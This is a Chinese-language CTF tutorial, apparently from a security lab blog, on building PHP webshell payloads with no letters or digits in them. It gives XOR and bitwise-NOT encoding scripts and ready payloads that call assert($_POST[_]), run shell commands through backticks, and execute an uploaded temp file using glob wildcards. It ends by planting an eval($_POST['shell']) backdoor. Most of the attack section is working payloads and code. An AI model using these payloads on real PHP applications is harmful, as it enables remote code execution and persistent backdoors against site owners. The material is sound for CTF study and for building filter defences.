本文首發於“合天網安實驗室” 作者: zoey
前言
在CTF中,雖然有很多文章有這方面的資料,但是相對來說比較零散,這里主要把自己學習和打ctf遇到的一些繞過字符數字構造shell梳理一下。
無字母數字webshell簡單來說就是payload中不能出現字母,數字(有些題目還有其他一些過濾),通過異或取反等方法取得flag。
測試源碼
<?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); } //如果shell中不還有字母和數字,則可以執行eval語句
異或繞過
異或的符號是^,是一種運算符。
1 ^ 1 = 0 1 ^ 0 = 1 0 ^ 1 = 1 0 ^ 0 = 0
異或腳本
<?php for($i=128;$i<255;$i++){ echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n"; } ?>
運行該腳本我們知道
%81^%FF=>~ %82^%FF=>} %83^%FF=>| %84^%FF=>{ %85^%FF=>z %86^%FF=>y %87^%FF=>x %88^%FF=>w %89^%FF=>v %8A^%FF=>u %8B^%FF=>t %8C^%FF=>s %8D^%FF=>r %8E^%FF=>q %8F^%FF=>p %90^%FF=>o %91^%FF=>n %92^%FF=>m %93^%FF=>l %94^%FF=>k %95^%FF=>j %96^%FF=>i %97^%FF=>h %98^%FF=>g %99^%FF=>f %9A^%FF=>e %9B^%FF=>d %9C^%FF=>c %9D^%FF=>b %9E^%FF=>a %9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^ %A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[ %A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X %A8^%FF=>W %A9^%FF=>V %AA^%FF=>U %AB^%FF=>T %AC^%FF=>S %AD^%FF=>R %AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O %B1^%FF=>N %B2^%FF=>M %B3^%FF=>L %B4^%FF=>K %B5^%FF=>J %B6^%FF=>I %B7^%FF=>H %B8^%FF=>G %B9^%FF=>F %BA^%FF=>E %BB^%FF=>D %BC^%FF=>C %BD^%FF=>B %BE^%FF=>A %BF^%FF=>@ %C0^%FF=>?
通過這種方法構造一個phpinfo()函數
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo //${_GET}{%ff}();&%ff=phpinfo 我們知道,經過一次get傳參會進行一次URL解碼,所以我們可以將字符先進行url編碼再進行異或得到我們想要的字符。 %A0^%FF=>_ %B8^%FF=>G %BA^%FF=>E %AB^%FF=>T <?php $a = urldecode('%ff%ff%ff%ff'); $b = urldecode('%a0%b8%ba%ab'); echo $a^$b; //輸出_GET

取反繞過
取反的符號是~,也是一種運算符。在數值的二進制表示方式上,將0變為1,將1變為0。
直接看如何構造phpinfo()
(~%8F%97%8F%96%91%99%90)();

可以看出,自己對phpinfo取反,會產生一些不可見字符,可對phpinfo取反后再進行url編碼。
取反腳本
<?php $a = urlencode(~'phpinfo'); echo $a; //%8F%97%8F%96%91%99%90

構造assert字符
第一種方法
%9E^%FF=>a %8C^%FF=>s %9A^%FF=>e %8D^%FF=>r %8B^%FF=>t %A0^%FF=>_ %AF^%FF=>P %B0^%FF=>O %AC^%FF=>S %AB^%FF=>T $_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF"; $__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF"; $___=$$__; $_($___[_]);

第二種方法
腳本
<?php $shell = "assert"; $result1 = ""; $result2 = ""; for($num=0;$num<=strlen($shell);$num++) { for($x=33;$x<126;$x++) { if(judge(chr($x))) { for($y=33;$y<=126;$y++) { if(judge(chr($y))) { $f = chr($x)^chr($y); if($f == $shell[$num]) { $result1 .= chr($x); $result2 .= chr($y); break 2; } } } } } } echo $result1; echo "<br>"; echo $result2; function judge($c) { if(!preg_match('/[a-z0-9]/is',$c)) { return true; } return false; }
這個腳本可以將“assert”變成兩個字符串異或的結果,通過更改shell的值可以構造出我們想要的字符串。為了便於表示,生成字符串的范圍為33-126(可見字符)。
<?php $_ = "!((%)("^"@[[@[\\"; //構造出assert $__ = "!+/(("^"~{`{|"; //構造出_POST $___ = $$__; //$___ = $_POST $_($___[_]); //assert($_POST[_]); ?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[\\%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b

$_ = "!((%)("^"@[[@[\\"; $__ = "!+/(("^"~{`{|"; $___ = $$__; $_($___[_]);

%24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3

第三種方法
<?php $a = urlencode(~'assert'); echo $a; //%9E%8C%8C%9A%8D%8B $b = urlencode(~'_POST'); //%A0%AF%B0%AC%AB <?php $_ = ~"%9e%8c%8c%9a%8d%8b"; //得到assert,此時$_="assert" $__ = ~"%a0%af%b0%ac%ab"; //得到_POST,此時$__="_POST" $___ = $$__; //$___=$_POST $_($___[_]); //assert($_POST[_]) ?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);

PHP5和7的區別
- PHP5中,assert()是一個函數,我們可以用=assert;_()這樣的形式來執行代碼。但在PHP7中,assert()變成了一個和eval()一樣的語言結構,不再支持上面那種調用方法。但PHP7.0.12下還能這樣調用。





PHP5中,是不支持($a)()這種調用方法的,但在PHP7中支持這種調用方法,因此支持這么寫('phpinfo')();




過濾了_
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>
分析下這個Payload,?>閉合了eval自帶的<?標簽。接下來使用了短標簽。{}包含的PHP代碼可以被執行,~"%a0%b8%ba%ab"為"_GET",通過反引號進行shell命令執行。最后我們只要GET傳參%a0即可執行命令。

過濾了$
PHP7
在PHP7中,我們可以使用($a)()這種方法來執行命令。所以可以用取反構造payload執行命令。(~%8F%97%8F%96%91%99%90)();執行phpinfo函數,第一個括號中可以是任意的表達式。但是這里不能用assert()來執行函數,因為php7不支持assert()函數。
PHP5
在PHP5中不再支持($a)()方法來調用函數,在膜拜P神的無字母數字webshell之提高篇后,有了新的啟發。如何在無字母,數字,$的系統命令下getshell?我們利用在Linux shell下兩個知識點
1,shell下可以利用.來執行任意腳本
2,Linux文件名支持glob通配符代替

從圖可以看出,我們可以成功用.+文件名來執行文件,但是當使用通配符來執行文件時,系統會執行匹配到的第一個文件。
在這兩個條件下我們可以想到,如果我們可以上傳一個文件,用.來執行這個文件就可以成功getshell。
那么我們怎么上傳文件呢?上傳文件成功后文件又保存在哪里?怎么匹配執行?
首先我們可以發送一個上傳文件的POST包,此時PHP會將我們上傳的文件保存在臨時文件夾下,默認的文件名是/tmp/phpXXXXXX,文件名最后6個字符是隨機的大小寫字母。
現在我們可以利用glob通配符匹配該文件,我們知道
*可以代替0個及以上任意文件
?可以代表1個任意字符
[^a]可以用來判斷這個位置的字符是不是a
[0-9]可以用來限制范圍
通過ascii碼表我們知道,可見大寫字母@與[之間,所以我們可以利用[@-[]來表示大寫字母。
綜上,我們可以利用. /???/????????[@-[]來匹配/tmp/phpXXXXXX
實戰演練
<?php if(isset($_GET['evil'])){ if(strlen($_GET['evil'])>25||preg_match("/[\w$=()<>'\"]/", $_GET['evil'])){ die("danger!!"); } @eval($_GET['evil']); } highlight_file(__FILE__); ?>
通過編寫腳本看看哪些可見字符沒有被過濾
<?php for ($ascii = 0; $ascii < 256; $ascii++) { if (!preg_match("/[\w$=()<>'\"]/", chr($ascii))) { echo (chr($ascii)); } } ?>

可以發現過濾了字母,數字,`$`,`_`,`()`等,但`和 . 還沒有被過濾。由於過濾了()所以不論PHP版本是5或者7,都不能執行($a)(),所以就沒有必要去判斷PHP版本。由此可以想到上傳一個小馬文件,然后用 ` 來執行文件。
首先,我們應該上傳寫一個表單上傳
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> <form action="http://ip:*****/" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="提交"> </form> </body> </html>
提交一個1.txt的文件,這個文件會被保存在這個/tmp/phpXXXXXX臨時文件夾下,我們執行這個臨時文件夾就是執行1.txt文件里面的內容。
我們在把1.txt中寫入ls,並把執行完1.txt文件返回的內容(即執行ls返回的內容)保存在var/www/html目錄下的abc文件中
var/www/html是Apache的默認路徑,我們也可以直接寫ls />abc

接着在ip地址后添加/abc,可以看到成功返回執行1.txt后的內容。

直接cat flag

我們還可以上傳一個小馬文件get flag
例如我們創建一個hello.php的文件,文件內容為
echo "<?php eval(\$_POST['shell']);"

然后cat flag
